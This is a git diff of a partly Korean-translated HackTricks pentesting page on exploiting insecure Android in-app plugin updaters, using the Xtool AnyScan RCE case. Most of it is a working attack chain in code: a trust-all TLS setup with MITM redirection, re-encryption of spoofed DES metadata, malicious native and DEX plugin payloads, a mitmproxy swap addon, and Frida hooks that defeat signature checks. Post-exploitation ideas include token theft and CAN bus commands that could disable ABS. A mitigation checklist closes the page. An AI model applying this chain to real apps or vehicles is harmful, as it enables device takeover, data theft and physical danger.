Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap

This commit is contained in:
Translator 2025-08-27 04:08:58 +00:00
parent b9423bae79
commit dc75da53f5

View File

@ -2,15 +2,48 @@
{{#include ../../banners/hacktricks-training.md}}
많은 Android 애플리케이션이 Google Play 스토어 대신 **자체 “플러그인” 또는 “동적 기능” 업데이트 채널**을 구현합니다. 구현이 안전하지 않으면, 트래픽을 가로챌 수 있는 공격자가 **앱 프로세스 내에서 로드될 임의의 네이티브 코드를 제공할 수** 있으며, 이는 핸드셋에서 완전한 원격 코드 실행(RCE)으로 이어질 수 있습니다 경우에 따라 앱이 제어하는 외부 장치(자동차, IoT, 의료 기기 등)에서도 가능합니다.
많은 Android 애플리케이션은 Google Play Store를 사용하지 않고 자체적인 “plugin” 또는 “dynamic feature” 업데이트 채널을 구현합니다. 구현이 안전하지 않으면 업데이트 트래픽을 가로채거나 변조할 수 있는 공격자가 앱 프로세스 내에서 로드될 임의의 네이티브 또는 Dalvik/ART 코드를 공급할 수 있으며, 이는 핸드셋에서의 완전한 Remote Code Execution (RCE)로 이어지고 — 경우에 따라 앱이 제어하는 외부 장치(자동차, IoT, 의료기기 …)에서도 영향을 미칠 수 있습니다.
이 페이지는 Xtool **AnyScan** 자동차 진단 앱(v4.40.11 → 4.40.40)에서 발견된 실제 취약점 체인을 요약하고, 이 기술을 일반화하여 다른 Android 앱을 감사하고 레드팀 참여 중 잘못된 구성을 무기화할 수 있도록 합니다.
이 페이지는 Xtool AnyScan automotive-diagnostics 앱 (v4.40.11 → 4.40.40)에서 발견된 실제 취약점 체인을 요약하고, 다른 Android 앱을 감사하고 red-team 참여 시 잘못된 구성(mis-configuration)을 무기화할 수 있도록 기법을 일반화합니다.
---
## 1. Insecure TLS TrustManager 식별하기
## 0. Quick triage: does the app have an inapp updater?
1. jadx / apktool로 APK를 디컴파일하고 네트워킹 스택(OkHttp, HttpUrlConnection, Retrofit 등)을 찾습니다.
2. 모든 인증서를 맹목적으로 신뢰하는 **커스텀 `TrustManager`** 또는 `HostnameVerifier`를 찾습니다:
Static hints to look for in JADX/apktool:
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
Runtime hooks to confirm:
```js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
```
---
## 1. 안전하지 않은 TLS TrustManager 식별
1. jadx / apktool로 APK를 디컴파일하고 네트워킹 스택(OkHttp, HttpUrlConnection, Retrofit…)을 찾는다.
2. 모든 인증서를 무턱대고 신뢰하는 커스텀 `TrustManager` 또는 `HostnameVerifier`를 찾는다:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
};
}
```
3. 존재하는 경우 애플리케이션은 **모든 TLS 인증서**를 수락합니다 → 자체 서명된 인증서로 투명한 **MITM 프록시**를 실행할 수 있습니다:
3. 존재할 경우 애플리케이션은 모든 TLS certificate를 수락합니다 → 투명 MITM proxy를 self-signed cert로 실행할 수 있습니다:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. 업데이트 메타데이터 리버스 엔지니어링
If TLS pinning이 적용되어 unsafe trust-all logic 대신 작동하는 경우, 다음을 참조하세요:
AnyScan 사례에서 각 앱 실행은 다음에 대한 HTTPS GET을 트리거합니다:
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
---
## 2. Reverse-Engineering the Update Metadata
AnyScan의 경우, 앱 실행 시마다 다음으로 HTTPS GET 요청을 보냅니다:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
응답 본문은 모든 사용 가능한 플러그인을 설명하는 **Base64로 인코딩되고, DES-ECB로 암호화된** JSON을 포함하는 **XML 문서**입니다.
응답 본문은 XML 문서이며, `<FileData>` 노드들은 사용 가능한 각 플러그인을 설명하는 Base64로 인코딩된, DES-ECB로 암호화된 JSON을 포함한다.
전형적인 헌팅 단계:
1. 암호화 루틴(예: `RemoteServiceProxy`)을 찾고 복구합니다:
* 알고리즘 (DES / AES / RC4 …)
* 작동 모드 (ECB / CBC / GCM …)
* 하드코딩된 키 / IV (종종 상수에서 56비트 DES 키 또는 128비트 AES 키)
2. 메타데이터를 복호화/암호화하기 위해 Python에서 함수를 재구현합니다:
Typical hunting steps:
1. 암호화 루틴(예: `RemoteServiceProxy`)을 찾고 다음을 확인한다:
- 알고리즘 (DES / AES / RC4 …)
- 작동 모드 (ECB / CBC / GCM …)
- 하드코드된 키 / IV (commonly 56bit DES or 128bit AES constants)
2. 메타데이터를 복호화/암호화하기 위해 해당 함수를 Python으로 재구현한다:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. 악성 플러그인 만들기
현장에서 관찰된 사항 (20232025):
- 메타데이터는 종종 JSON-within-XML 또는 protobuf 형태이며, 약한 암호화와 정적 키가 흔합니다.
- 많은 업데이트 프로그램이 메타데이터는 HTTPS로 전달되더라도 실제 payload 다운로드에는 평문 HTTP를 허용합니다.
- 플러그인들은 자주 앱 내부 저장소로 압축을 풀며; 일부는 여전히 외부 저장소나 레거시 `requestLegacyExternalStorage`를 사용해 앱 간 변조를 가능하게 합니다.
1. 합법적인 플러그인 ZIP을 선택하고 네이티브 라이브러리를 당신의 페이로드로 교체합니다:
---
## 3. 악성 플러그인 제작
### 3.1 네이티브 라이브러리 경로 (dlopen/System.load[Library])
1. 정식 plugin ZIP 하나를 골라 네이티브 라이브러리를 당신의 payload로 교체합니다:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. JSON 메타데이터를 업데이트하여 `"FileName" : "PWNED.zip"`로 설정하고 `"DownloadURL"`이 당신의 HTTP 서버를 가리키도록 합니다.
3. 수정된 JSON을 DES로 암호화한 후 Base64로 인코딩하고 가로챈 XML 안에 다시 복사합니다.
2. JSON 메타데이터를 수정하여 `"FileName" : "PWNED.zip"` `"DownloadURL"`이 당신의 HTTP 서버를 가리키도록 합니다.
3. 수정한 JSON을 재암호화하고 Base64 인코딩한 뒤, 가로챈 XML 내부에 다시 복사합니다.
### 3.2 Dex-based plugin path (DexClassLoader)
일부 앱은 JAR/APK를 다운로드하고 `DexClassLoader`를 통해 코드를 로드합니다. 로드 시 트리거되는 악성 DEX를 작성하세요:
```java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
```
```bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
```
대상이 `Class.forName("pwn.Dropper")`를 호출하면 정적 초기화자가 실행됩니다; 그렇지 않으면 Frida로 로드된 클래스를 리플렉티브하게 열거하고 익스포트된 메서드를 호출합니다.
---
## 4. mitmproxy로 페이로드 전달
`addon.py` 예제는 원본 메타데이터를 *조용히* 교체합니다:
`addon.py` 예제: 원본 메타데이터를 조용히 교체합니다:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
@ -89,36 +166,69 @@ MOD_XML,
{"Content-Type": "text/xml"}
)
```
악성 ZIP 파일을 호스팅하기 위해 간단한 웹 서버를 실행합니다:
악성 ZIP/JAR를 호스팅하기 위해 간단한 웹 서버를 실행합니다:
```bash
python3 -m http.server 8000 --directory ./payloads
```
피해자가 앱을 실행하면 다음과 같은 작업을 수행합니다:
* MITM 채널을 통해 위조된 XML을 가져옵니다;
* 하드코딩된 DES 키로 이를 복호화하고 파싱합니다;
* `PWNED.zip`을 다운로드 → 개인 저장소에 압축 해제합니다;
* 포함된 *libscan_x64.so*를 `dlopen()`하여 앱의 권한으로 **즉시 코드를 실행**합니다 (카메라, GPS, 블루투스, 파일 시스템 등).
When the victim launches the app it will:
- MITM 채널을 통해 우리가 위조한 XML을 fetch합니다;
- 하드코딩된 crypto로 이를 decrypt & parse합니다;
- `PWNED.zip` 또는 `plugin.jar`을 download → private storage 내부에 unzip합니다;
- 포함된 `.so` 또는 DEX를 load하여 즉시 앱 권한(카메라, GPS, Bluetooth, filesystem, …)으로 우리 코드를 실행합니다.
플러그인이 디스크에 캐시되기 때문에 백도어는 **재부팅 간에 지속**되며 사용자가 관련 기능을 선택할 때마다 실행됩니다.
## 5. 포스트 익스플로잇 아이디어
* 앱에 의해 저장된 세션 쿠키, OAuth 토큰 또는 JWT를 훔칩니다.
* 두 번째 단계 APK를 드롭하고 `pm install`을 통해 조용히 설치합니다 (앱은 이미 `REQUEST_INSTALL_PACKAGES` 권한을 가지고 있습니다).
* 연결된 하드웨어를 남용합니다 AnyScan 시나리오에서는 임의의 **OBD-II / CAN 버스 명령**을 전송할 수 있습니다 (문 잠금 해제, ABS 비활성화 등).
Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.
---
### 탐지 및 완화 체크리스트 (블루 팀)
## 4.1 Bypassing signature/hash checks (when present)
* 인증서 검증을 비활성화하는 사용자 정의 TrustManager/HostnameVerifier가 포함된 프로덕션 빌드를 절대 배포하지 마십시오.
* Google Play 외부에서 실행 가능한 코드를 다운로드하지 마십시오. *필요한 경우*, 각 플러그인을 동일한 **apkSigning v2** 키로 서명하고 로드하기 전에 서명을 확인하십시오.
* 약한/하드코딩된 암호화를 **AES-GCM** 및 서버 측 회전 키로 교체하십시오.
* 다운로드한 아카이브의 무결성을 검증하십시오 (서명 또는 최소한 SHA-256).
If the updater validates signatures or hashes, hook verification to always accept attacker content:
```js
// Frida make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
```
또한 `PluginVerifier.verifySignature()`, `checkHash()` 같은 벤더 메서드를 스텁하거나 Java 또는 JNI에서 업데이트 게이팅 로직을 쇼트‑서킷하는 것을 고려하세요.
---
## 참조
## 5. Other attack surfaces in updaters (20232025)
- [NowSecure Xtool AnyScan 앱에서 발견된 원격 코드 실행](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android 안전하지 않은 TrustManager 패턴](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data/<pkg>/files/target` overwrite arbitrary files. Always sanitize entry paths and use allowlists.
- External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
---
## 6. Post-Exploitation Ideas
- Steal session cookies, OAuth tokens, or JWTs stored by the app.
- Drop a second-stage APK and silently install it via `pm install` if possible (some apps already declare `REQUEST_INSTALL_PACKAGES`).
- Abuse any connected hardware in the AnyScan scenario you can send arbitrary OBDII / CAN bus commands (unlock doors, disable ABS, etc.).
---
### Detection & Mitigation Checklist (blue team)
- Avoid dynamic code loading and outofstore updates. Prefer Playmediated updates. If dynamic plugins are a hard requirement, design them as dataonly bundles and keep executable code in the base APK.
- Enforce TLS properly: no custom trustall managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
- Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developerheld key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
- Use modern crypto (AESGCM) with permessage nonces for metadata; remove hardcoded keys from clients.
- Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA256 hashes. Reject extra/unknown files.
- Store downloads in appinternal storage (or scoped storage on Android 10+) and use file permissions that prevent crossapp tampering.
- Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or `..` segments.
- Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).
---
## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Developers Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
{{#include ../../banners/hacktricks-training.md}}